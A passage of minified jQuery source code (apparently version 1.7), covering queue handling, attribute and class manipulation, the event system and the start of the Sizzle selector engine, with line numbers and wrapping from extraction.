  263. d=2;typeof a!="string"&&(c=a,a="fx",d--);if(arguments.length<d)return
  264. f.queue(this[0],a);return c===b?this:this.each(function(){var
  265. b=f.queue(this,a,c);a==="fx"&&b[0]!=="inprogress"&&f.dequeue(this,a)})},dequeue:function(a){return
  266. this.each(function(){f.dequeue(this,a)})},delay:function(a,b){a=f.fx?f.fx.speeds[a]||a:a,b=b||"fx";return
  267. this.queue(b,function(b,c){var
  268. d=setTimeout(b,a);c.stop=function(){clearTimeout(d)}})},clearQueue:function(a){return
  269. this.queue(a||"fx",[])},promise:function(a,c){function
  270. m(){--h||d.resolveWith(e,[e])}typeof a!="string"&&(c=a,a=b),a=a||"fx";var
  271. d=f.Deferred(),e=this,g=e.length,h=1,i=a+"defer",j=a+"queue",k=a+"mark",l;while(g--)if(l=f.data(e[g],i,b,!0)||(f.data(e[g],j,b,!0)||f.data(e[g],k,b,!0))&&f.data(e[g],i,f.Callbacks("once
  272. memory"),!0))h++,l.add(m);m();return d.promise(c)}});var
  273. o=/[\n\t\r]/g,p=/\s+/,q=/\r/g,r=/^(?:button|input)$/i,s=/^(?:button|input|object|select|textarea)$/i,t=/^a(?:rea)?$/i,u=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,v=f.support.getSetAttribute,w,x,y;f.fn.extend({attr:function(a,b){return
  274. f.access(this,f.attr,a,b,arguments.length>1)},removeAttr:function(a){return
  275. this.each(function(){f.removeAttr(this,a)})},prop:function(a,b){return
  276. f.access(this,f.prop,a,b,arguments.length>1)},removeProp:function(a){a=f.propFix[a]||a;return
  277. this.each(function(){try{this[a]=b,delete
  278. this[a]}catch(c){}})},addClass:function(a){var
  279. b,c,d,e,g,h,i;if(f.isFunction(a))return
  280. this.each(function(b){f(this).addClass(a.call(this,b,this.className))});if(a&&typeof
  281. a=="string"){b=a.split(p);for(c=0,d=this.length;c<d;c++){e=this[c];if(e.nodeType===1)if(!e.className&&b.length===1)e.className=a;else{g="
  282. "+e.className+" ";for(h=0,i=b.length;h<i;h++)~g.indexOf(" "+b[h]+"
  283. ")||(g+=b[h]+" ");e.className=f.trim(g)}}}return
  284. this},removeClass:function(a){var c,d,e,g,h,i,j;if(f.isFunction(a))return
  285. this.each(function(b){f(this).removeClass(a.call(this,b,this.className))});if(a&&typeof
  286. a=="string"||a===b){c=(a||"").split(p);for(d=0,e=this.length;d<e;d++){g=this[d];if(g.nodeType===1&&g.className)if(a){h=("
  287. "+g.className+" ").replace(o," ");for(i=0,j=c.length;i<j;i++)h=h.replace("
  288. "+c[i]+" "," ");g.className=f.trim(h)}else g.className=""}}return
  289. this},toggleClass:function(a,b){var c=typeof a,d=typeof
  290. b=="boolean";if(f.isFunction(a))return
  291. this.each(function(c){f(this).toggleClass(a.call(this,c,this.className,b),b)});return
  292. this.each(function(){if(c==="string"){var
  293. e,g=0,h=f(this),i=b,j=a.split(p);while(e=j[g++])i=d?i:!h.hasClass(e),h[i?"addClass":"removeClass"](e)}else
  294. if(c==="undefined"||c==="boolean")this.className&&f._data(this,"__className__",this.className),this.className=this.className||a===!1?"":f._data(this,"__className__")||""})},hasClass:function(a){var
  295. b=" "+a+" ",c=0,d=this.length;for(;c<d;c++)if(this[c].nodeType===1&&("
  296. "+this[c].className+" ").replace(o,"
  297. ").indexOf(b)>-1)return!0;return!1},val:function(a){var
  298. c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return
  299. this.each(function(d){var
  300. g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h="":typeof
  301. h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return
  302. a==null?"":a+""})),c=f.valHooks[this.type]||f.valHooks[this.nodeName.toLowerCase()];if(!c||!("set"in
  303. c)||c.set(this,h,"value")===b)this.value=h}})}if(g){c=f.valHooks[g.type]||f.valHooks[g.nodeName.toLowerCase()];if(c&&"get"in
  304. c&&(d=c.get(g,"value"))!==b)return d;d=g.value;return typeof
  305. d=="string"?d.replace(q,""):d==null?"":d}}}}),f.extend({valHooks:{option:{get:function(a){var
  306. b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var
  307. b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type==="select-one";if(g<0)return
  308. null;c=j?g:0,d=j?g+1:i.length;for(;c<d;c++){e=i[c];if(e.selected&&(f.support.optDisabled?!e.disabled:e.getAttribute("disabled")===null)&&(!e.parentNode.disabled||!f.nodeName(e.parentNode,"optgroup"))){b=f(e).val();if(j)return
  309. b;h.push(b)}}if(j&&!h.length&&i.length)return f(i[g]).val();return
  310. h},set:function(a,b){var
  311. c=f.makeArray(b);f(a).find("option").each(function(){this.selected=f.inArray(f(this).val(),c)>=0}),c.length||(a.selectedIndex=-1);return
  312. c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var
  313. g,h,i,j=a.nodeType;if(!!a&&j!==3&&j!==8&&j!==2){if(e&&c in f.attrFn)return
  314. f(a)[c](d);if(typeof a.getAttribute=="undefined")return
  315. f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i&&(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h&&"set"in
  316. h&&i&&(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,""+d);return
  317. d}if(h&&"get"in h&&i&&(g=h.get(a,c))!==null)return
  318. g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var
  319. c,d,e,g,h,i=0;if(b&&a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;i<g;i++)e=d[i],e&&(c=f.propFix[e]||e,h=u.test(e),h||f.attr(a,e,""),a.removeAttribute(v?e:c),h&&c
  320. in
  321. a&&(a[c]=!1))}},attrHooks:{type:{set:function(a,b){if(r.test(a.nodeName)&&a.parentNode)f.error("type
  322. property can't be changed");else
  323. if(!f.support.radioValue&&b==="radio"&&f.nodeName(a,"input")){var
  324. c=a.value;a.setAttribute("type",b),c&&(a.value=c);return
  325. b}}},value:{get:function(a,b){if(w&&f.nodeName(a,"button"))return
  326. w.get(a,b);return b in
  327. a?a.value:null},set:function(a,b,c){if(w&&f.nodeName(a,"button"))return
  328. w.set(a,b,c);a.value=b}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(a,c,d){var
  329. e,g,h,i=a.nodeType;if(!!a&&i!==3&&i!==8&&i!==2){h=i!==1||!f.isXMLDoc(a),h&&(c=f.propFix[c]||c,g=f.propHooks[c]);return
  330. d!==b?g&&"set"in g&&(e=g.set(a,d,c))!==b?e:a[c]=d:g&&"get"in
  331. g&&(e=g.get(a,c))!==null?e:a[c]}},propHooks:{tabIndex:{get:function(a){var
  332. c=a.getAttributeNode("tabindex");return
  333. c&&c.specified?parseInt(c.value,10):s.test(a.nodeName)||t.test(a.nodeName)&&a.href?0:b}}}}),f.attrHooks.tabindex=f.propHooks.tabIndex,x={get:function(a,c){var
  334. d,e=f.prop(a,c);return e===!0||typeof
  335. e!="boolean"&&(d=a.getAttributeNode(c))&&d.nodeValue!==!1?c.toLowerCase():b},set:function(a,b,c){var
  336. d;b===!1?f.removeAttr(a,c):(d=f.propFix[c]||c,d in
  337. a&&(a[d]=!0),a.setAttribute(c,c.toLowerCase()));return
  338. c}},v||(y={name:!0,id:!0,coords:!0},w=f.valHooks.button={get:function(a,c){var
  339. d;d=a.getAttributeNode(c);return
  340. d&&(y[c]?d.nodeValue!=="":d.specified)?d.nodeValue:b},set:function(a,b,d){var
  341. e=a.getAttributeNode(d);e||(e=c.createAttribute(d),a.setAttributeNode(e));return
  342. e.nodeValue=b+""}},f.attrHooks.tabindex.set=w.set,f.each(["width","height"],function(a,b){f.attrHooks[b]=f.extend(f.attrHooks[b],{set:function(a,c){if(c===""){a.setAttribute(b,"auto");return
  343. c}}})}),f.attrHooks.contenteditable={get:w.get,set:function(a,b,c){b===""&&(b="false"),w.set(a,b,c)}}),f.support.hrefNormalized||f.each(["href","src","width","height"],function(a,c){f.attrHooks[c]=f.extend(f.attrHooks[c],{get:function(a){var
  344. d=a.getAttribute(c,2);return
  345. d===null?b:d}})}),f.support.style||(f.attrHooks.style={get:function(a){return
  346. a.style.cssText.toLowerCase()||b},set:function(a,b){return
  347. a.style.cssText=""+b}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var
  348. b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex);return
  349. null}})),f.support.enctype||(f.propFix.enctype="encoding"),f.support.checkOn||f.each(["radio","checkbox"],function(){f.valHooks[this]={get:function(a){return
  350. a.getAttribute("value")===null?"on":a.value}}}),f.each(["radio","checkbox"],function(){f.valHooks[this]=f.extend(f.valHooks[this],{set:function(a,b){if(f.isArray(b))return
  351. a.checked=f.inArray(f(a).val(),b)>=0}})});var
  352. z=/^(?:textarea|input|select)$/i,A=/^([^\.]*)?(?:\.(.+))?$/,B=/(?:^|\s)hover(\.\S+)?\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,G=function(
  353. a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new
  354. RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var
  355. c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(
  356. c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return
  357. f.event.special.hover?a:a.replace(B,"mouseenter$1
  358. mouseleave$1")};f.event={add:function(a,c,d,e,g){var
  359. h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler&&(p=d,d=p.handler,g=p.selector),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return
  360. typeof
  361. f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split("
  362. ");for(k=0;k<c.length;k++){l=A.exec(c[k])||[],m=l[1],n=(l[2]||"").split(".").sort(),s=f.event.special[m]||{},m=(g?s.delegateType:s.bindType)||m,s=f.event.special[m]||{},o=f.extend({type:m,origType:l[1],data:e,handler:d,guid:d.guid,selector:g,quick:g&&G(g),namespace:n.join(".")},p),r=j[m];if(!r){r=j[m]=[],r.delegateCount=0;if(!s.setup||s.setup.call(a,e,n,i)===!1)a.addEventListener?a.addEventListener(m,i,!1):a.attachEvent&&a.attachEvent("on"+m,i)}s.add&&(s.add.call(a,o),o.handler.guid||(o.handler.guid=d.guid)),g?r.splice(r.delegateCount++,0,o):r.push(o),f.event.global[m]=!0}a=null}},global:{},remove:function(a,b,c,d,e){var
  363. g=f.hasData(a)&&f._data(a),h,i,j,k,l,m,n,o,p,q,r,s;if(!!g&&!!(o=g.events)){b=f.trim(I(b||"")).split("
  364. ");for(h=0;h<b.length;h++){i=A.exec(b[h])||[],j=k=i[1],l=i[2];if(!j){for(j
  365. in
  366. o)f.event.remove(a,j+b[h],c,d,!0);continue}p=f.event.special[j]||{},j=(d?p.delegateType:p.bindType)||j,r=o[j]||[],m=r.length,l=l?new
  367. RegExp("(^|\\.)"+l.split(".").sort().join("\\.(?:.*\\.)?")+"(\\.|$)"):null;for(n=0;n<r.length;n++)s=r[n],(e||k===s.origType)&&(!c||c.guid===s.guid)&&(!l||l.test(s.namespace))&&(!d||d===s.selector||d==="**"&&s.selector)&&(r.splice(n--,1),s.selector&&r.delegateCount--,p.remove&&p.remove.call(a,s));r.length===0&&m!==r.length&&((!p.teardown||p.teardown.call(a,l)===!1)&&f.removeEvent(a,j,g.handle),delete
  368. o[j])}f.isEmptyObject(o)&&(q=g.handle,q&&(q.elem=null),f.removeData(a,["events","handle"],!0))}},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(c,d,e,g){if(!e||e.nodeType!==3&&e.nodeType!==8){var
  369. h=c.type||c,i=[],j,k,l,m,n,o,p,q,r,s;if(E.test(h+f.event.triggered))return;h.indexOf("!")>=0&&(h=h.slice(0,-1),k=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])&&!f.event.global[h])return;c=typeof
  370. c=="object"?c[f.expando]?c:new f.Event(h,c):new
  371. f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join("."),c.namespace_re=c.namespace?new
  372. RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)"):null,o=h.indexOf(":")<0?"on"+h:"";if(!e){j=f.cache;for(l
  373. in
  374. j)j[l].events&&j[l].events[h]&&f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger&&p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g&&!p.noBubble&&!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n&&n===e.ownerDocument&&r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;l<r.length&&!c.isPropagationStopped();l++)m=r[l][0],c.type=r[l][1],q=(f._data(m,"events")||{})[c.type]&&f._data(m,"handle"),q&&q.apply(m,d),q=o&&m[o],q&&f.acceptData(m)&&q.apply(m,d)===!1&&c.preventDefault();c.type=h,!g&&!c.isDefaultPrevented()&&(!p._default||p._default.apply(e.ownerDocument,d)===!1)&&(h!=="click"||!f.nodeName(e,"a"))&&f.acceptData(e)&&o&&e[h]&&(h!=="focus"&&h!=="blur"||c.target.offsetWidth!==0)&&!f.isWindow(e)&&(n=e[o],n&&(e[o]=null),f.event.triggered=h,e[h](),f.event.triggered=b,n&&(e[o]=n));return
  375. c.result}},dispatch:function(c){c=f.event.fix(c||a.event);var
  376. d=(f._data(this,"events")||{})[c.type]||[],e=d.delegateCount,g=[].slice.call(arguments,0),h=!c.exclusive&&!c.namespace,i=f.event.special[c.type]||{},j=[],k,l,m,n,o,p,q,r,s,t,u;g[0]=c,c.delegateTarget=this;if(!i.preDispatch||i.preDispatch.call(this,c)!==!1){if(e&&(!c.button||c.type!=="click")){n=f(this),n.context=this.ownerDocument||this;for(m=c.target;m!=this;m=m.parentNode||this)if(m.disabled!==!0){p={},r=[],n[0]=m;for(k=0;k<e;k++)s=d[k],t=s.selector,p[t]===b&&(p[t]=s.quick?H(m,s.quick):
  377. n.is(t)),p[t]&&r.push(s);r.length&&j.push({elem:m,matches:r})}}d.length>e&&j.push({elem:this,matches:d.slice(e)});for(k=0;k<j.length&&!c.isPropagationStopped();k++){q=j[k],c.currentTarget=q.elem;for(l=0;l<q.matches.length&&!c.isImmediatePropagationStopped();l++){s=q.matches[l];if(h||!c.namespace&&!s.namespace||c.namespace_re&&c.namespace_re.test(s.namespace))c.data=s.data,c.handleObj=s,o=((f.event.special[s.origType]||{}).handle||s.handler).apply(q.elem,g),o!==b&&(c.result=o,o===!1&&(c.preventDefault(),c.stopPropagation()))}}i.postDispatch&&i.postDispatch.call(this,c);return
  378. c.result}},props:"attrChange attrName relatedNode srcElement altKey bubbles
  379. cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey
  380. target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char
  381. charCode key keyCode".split("
  382. "),filter:function(a,b){a.which==null&&(a.which=b.charCode!=null?b.charCode:b.keyCode);return
  383. a}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX
  384. offsetY pageX pageY screenX screenY toElement".split("
  385. "),filter:function(a,d){var
  386. e,f,g,h=d.button,i=d.fromElement;a.pageX==null&&d.clientX!=null&&(e=a.target.ownerDocument||c,f=e.documentElement,g=e.body,a.pageX=d.clientX+(f&&f.scrollLeft||g&&g.scrollLeft||0)-(f&&f.clientLeft||g&&g.clientLeft||0),a.pageY=d.clientY+(f&&f.scrollTop||g&&g.scrollTop||0)-(f&&f.clientTop||g&&g.clientTop||0)),!a.relatedTarget&&i&&(a.relatedTarget=i===a.target?d.toElement:i),!a.which&&h!==b&&(a.which=h&1?1:h&2?3:h&4?2:0);return
  387. a}},fix:function(a){if(a[f.expando])return a;var
  388. d,e,g=a,h=f.event.fixHooks[a.type]||{},i=h.props?this.props.concat(h.props):this.props;a=f.Event(g);for(d=i.length;d;)e=i[--d],a[e]=g[e];a.target||(a.target=g.srcElement||c),a.target.nodeType===3&&(a.target=a.target.parentNode),a.metaKey===b&&(a.metaKey=a.ctrlKey);return
  389. h.filter?h.filter(a,g):a},special:{ready:{setup:f.bindReady},load:{noBubble:!0},focus:{delegateType:"focusin"},blur:{delegateType:"focusout"},beforeunload:{setup:function(a,b,c){f.isWindow(this)&&(this.onbeforeunload=c)},teardown:function(a,b){this.onbeforeunload===b&&(this.onbeforeunload=null)}}},simulate:function(a,b,c,d){var
  390. e=f.extend(new
  391. f.Event,c,{type:a,isSimulated:!0,originalEvent:{}});d?f.event.trigger(e,null,b):f.event.dispatch.call(b,e),e.isDefaultPrevented()&&c.preventDefault()}},f.event.handle=f.event.dispatch,f.removeEvent=c.removeEventListener?function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c,!1)}:function(a,b,c){a.detachEvent&&a.detachEvent("on"+b,c)},f.Event=function(a,b){if(!(this
  392. instanceof f.Event))return new
  393. f.Event(a,b);a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||a.returnValue===!1||a.getPreventDefault&&a.getPreventDefault()?K:J):this.type=a,b&&f.extend(this,b),this.timeStamp=a&&a.timeStamp||f.now(),this[f.expando]=!0},f.Event.prototype={preventDefault:function(){this.isDefaultPrevented=K;var
  394. a=this.originalEvent;!a||(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){this.isPropagationStopped=K;var
  395. a=this.originalEvent;!a||(a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=K,this.stopPropagation()},isDefaultPrevented:J,isPropagationStopped:J,isImmediatePropagationStopped:J},f.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){f.event.special[a]={delegateType:b,bindType:b,handle:function(a){var
  396. c=this,d=a.relatedTarget,e=a.handleObj,g=e.selector,h;if(!d||d!==c&&!f.contains(c,d))a.type=e.origType,h=e.handler.apply(this,arguments),a.type=b;return
  397. h}}}),f.support.submitBubbles||(f.event.special.submit={setup:function(){if(f.nodeName(this,"form"))return!1;f.event.add(this,"click._submit
  398. keypress._submit",function(a){var
  399. c=a.target,d=f.nodeName(c,"input")||f.nodeName(c,"button")?c.form:b;d&&!d._submit_attached&&(f.event.add(d,"submit._submit",function(a){a._submit_bubble=!0}),d._submit_attached=!0)})},postDispatch:function(a){a._submit_bubble&&(delete
  400. a._submit_bubble,this.parentNode&&!a.isTrigger&&f.event.simulate("submit",this.parentNode,a,!0))},teardown:function(){if(f.nodeName(this,"form"))return!1;f.event.remove(this,"._submit")}}),f.support.changeBubbles||(f.event.special.change={setup:function(){if(z.test(this.nodeName)){if(this.type==="checkbox"||this.type==="radio")f.event.add(this,"propertychange._change",function(a){a.originalEvent.propertyName==="checked"&&(this._just_changed=!0)}),f.event.add(this,"click._change",function(a){this._just_changed&&!a.isTrigger&&(this._just_changed=!1,f.event.simulate("change",this,a,!0))});return!1}f.event.add(this,"beforeactivate._change",function(a){var
  401. b=a.target;z.test(b.nodeName)&&!b._change_attached&&(f.event.add(b,"change._change",function(a){this.parentNode&&!a.isSimulated&&!a.isTrigger&&f.event.simulate("change",this.parentNode,a,!0)}),b._change_attached=!0)})},handle:function(a){var
  402. b=a.target;if(this!==b||a.isSimulated||a.isTrigger||b.type!=="radio"&&b.type!=="checkbox")return
  403. a.handleObj.handler.apply(this,arguments)},teardown:function(){f.event.remove(this,"._change");return
  404. z.test(this.nodeName)}}),f.support.focusinBubbles||f.each({focus:"focusin",blur:"focusout"},function(a,b){var
  405. d=0,e=function(a){f.event.simulate(b,a.target,f.event.fix(a),!0)};f.event.special[b]={setup:function(){d++===0&&c.addEventListener(a,e,!0)},teardown:function(){--d===0&&c.removeEventListener(a,e,!0)}}}),f.fn.extend({on:function(a,c,d,e,g){var
  406. h,i;if(typeof a=="object"){typeof c!="string"&&(d=d||c,c=b);for(i in
  407. a)this.on(i,c,d,a[i],g);return
  408. this}d==null&&e==null?(e=c,d=c=b):e==null&&(typeof
  409. c=="string"?(e=d,d=b):(e=d,d=c,c=b));if(e===!1)e=J;else if(!e)return
  410. this;g===1&&(h=e,e=function(a){f().off(a);return
  411. h.apply(this,arguments)},e.guid=h.guid||(h.guid=f.guid++));return
  412. this.each(function(){f.event.add(this,a,e,d,c)})},one:function(a,b,c,d){return
  413. this.on(a,b,c,d,1)},off:function(a,c,d){if(a&&a.preventDefault&&a.handleObj){var
  414. e=a.handleObj;f(a.delegateTarget).off(e.namespace?e.origType+"."+e.namespace:e.origType,e.selector,e.handler);return
  415. this}if(typeof a=="object"){for(var g in a)this.off(g,c,a[g]);return
  416. this}if(c===!1||typeof c=="function")d=c,c=b;d===!1&&(d=J);return
  417. this.each(function(){f.event.remove(this,a,d,c)})},bind:function(a,b,c){return
  418. this.on(a,null,b,c)},unbind:function(a,b){return
  419. this.off(a,null,b)},live:function(a,b,c){f(this.context).on(a,this.selector,b,c);return
  420. this},die:function(a,b){f(this.context).off(a,this.selector||"**",b);return
  421. this},delegate:function(a,b,c,d){return
  422. this.on(b,a,c,d)},undelegate:function(a,b,c){return
  423. arguments.length==1?this.off(a,"**"):this.off(b,a,c)},trigger:function(a,b){return
  424. this.each(function(){f.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0])return
  425. f.event.trigger(a,b,this[0],!0)},toggle:function(a){var
  426. b=arguments,c=a.guid||f.guid++,d=0,e=function(c){var
  427. e=(f._data(this,"lastToggle"+a.guid)||0)%d;f._data(this,"lastToggle"+a.guid,e+1),c.preventDefault();return
  428. b[e].apply(this,arguments)||!1};e.guid=c;while(d<b.length)b[d++].guid=c;return
  429. this.click(e)},hover:function(a,b){return
  430. this.mouseenter(a).mouseleave(b||a)}}),f.each("blur focus focusin focusout
  431. load resize scroll unload click dblclick mousedown mouseup mousemove
  432. mouseover mouseout mouseenter mouseleave change select submit keydown
  433. keypress keyup error contextmenu".split("
  434. "),function(a,b){f.fn[b]=function(a,c){c==null&&(c=a,a=null);return
  435. arguments.length>0?this.on(b,null,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0),C.test(b)&&(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)&&(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function
  436. x(a,b,c,e,f,g){for(var h=0,i=e.length;h<i;h++){var j=e[h];if(j){var
  437. k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}if(j.nodeType===1){g||(j[d]=c,j.sizset=h);if(typeof
  438. b!="string"){if(j===b){k=!0;break}}else
  439. if(m.filter(b,[j]).length>0){k=j;break}}j=j[a]}e[h]=k}}}function
  440. w(a,b,c,e,f,g){for(var h=0,i=e.length;h<i;h++){var j=e[h];if(j){var
  441. k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}j.nodeType===1&&!g&&(j[d]=c,j.sizset=h);if(j.nodeName.toLowerCase()===b){k=j;break}j=j[a]}e[h]=k}}}var
  442. a=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^
  443. +~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d="sizcache"+(Math.random()+"").replace(".",""),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\/g,k=/\r\n/g,l=/\W/;[0,0].sort(function(){i=!1;return
  444. 0});var m=function(b,d,e,f){e=e||[],d=d||c;var
  445. h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof
  446. b!="string")return e;var
  447. i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(""),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length>1&&p.exec(b))if(w.length===2&&o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]&&(b+=w.shift()),j=y(b,j,f)}else{!f&&w.length>1&&d.nodeType===9&&!v&&o.match.ID.test(w[0])&&!o.match.ID.test(w[w.length-1])&&(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1&&(w[0]==="~"||w[0]==="+")&&d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length>0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q="",r==null&&(r=d),o.relative[q](k,r,v)}else
  448. k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)==="[object
  449. Array]")if(!u)e.push.apply(e,k);else
  450. if(d&&d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]&&(k[t]===!0||k[t].nodeType===1&&m.contains(d,k[t]))&&e.push(j[t]);else
  451. for(t=0;k[t]!=null;t++)k[t]&&k[t].nodeType===1&&e.push(j[t]);else
  452. s(k,e);l&&(m(l,h,e,f),m.uniqueSort(e));return
  453. e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var
  454. b=1;b<a.length;b++)a[b]===a[b-1]&&a.splice(b--,1)}return
  455. a},m.matches=function(a,b){return
  456. m(a,null,null,b)},m.matchesSelector=function(a,b){return
  457. m(b,null,null,[a]).length>0},m.find=function(a,b,c){var
  458. d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e<f;e++){h=o.order[e];if(g=o.leftMatch[h].exec(a)){i=g[1],g.splice(1,1);if(i.substr(i.length-1)!=="\\"){g[1]=(g[1]||"").replace(j,""),d=o.find[h](g,b,c);if(d!=null){a=a.replace(o.match[h],"");break}}}}d||(d=typeof
  459. b.getElementsByTagName!="undefined"?b.getElementsByTagName("*"):[]);return{set:d,expr:a}},m.filter=function(a,c,d,e){var
  460. f,g,h,i,j,k,l,n,p,q=a,r=[],s=c,t=c&&c[0]&&m.isXML(c[0]);while(a&&c.length){for(h
  461. in
  462. o.filter)if((f=o.leftMatch[h].exec(a))!=null&&f[2]){k=o.filter[h],l=f[1],g=!1,f.splice(1,1);if(l.substr(l.length-1)==="\\")continue;s===r&&(r=[]);if(o.preFilter[h]){f=o.preFilter[h](f,s,d,r,e,t);if(!f)g=i=!0;else
  463. if(f===!0)continue}if(f)for(n=0;(j=s[n])!=null;n++)j&&(i=k(j,f,n,s),p=e^i,d&&i!=null?p?g=!0:s[n]=!1:p&&(r.push(j),g=!0));if(i!==b){d||(s=r),a=a.replace(o.match[h],"");if(!g)return[];break}}if(a===q)if(g==null)m.error(a);else
  464. break;q=a}return s},m.error=function(a){throw new Error("Syntax error,
  465. unrecognized expression: "+a)};var n=m.getText=function(a){var
  466. b,c,d=a.nodeType,e="";if(d){if(d===1||d===9||d===11){if(typeof
  467. a.textContent=="string")return a.textContent;if(typeof
  468. a.innerText=="string")return
  469. a.innerText.replace(k,"");for(a=a.firstChild;a;a=a.nextSibling)e+=n(a)}else
  470. if(d===3||d===4)return a.nodeValue}else
  471. for(b=0;c=a[b];b++)c.nodeType!==8&&(e+=n(c));return
  472. e},o=m.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/},leftMatch:{},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(a){return
  473. a.getAttribute("href")},type:function(a){return
  474. a.getAttribute("type")}},relative:{"+":function(a,b){var c=typeof
  475. b=="string",d=c&&!l.test(b),e=c&&!d;d&&(b=b.toLowerCase());for(var
  476. f=0,g=a.length,h;f<g;f++)if(h=a[f]){while((h=h.previousSibling)&&h.nodeType!==1);a[f]=e||h&&h.nodeName.toLowerCase()===b?h||!1:h===b}e&&m.filter(b,a,!0)},">":function(a,b){var
  477. c,d=typeof
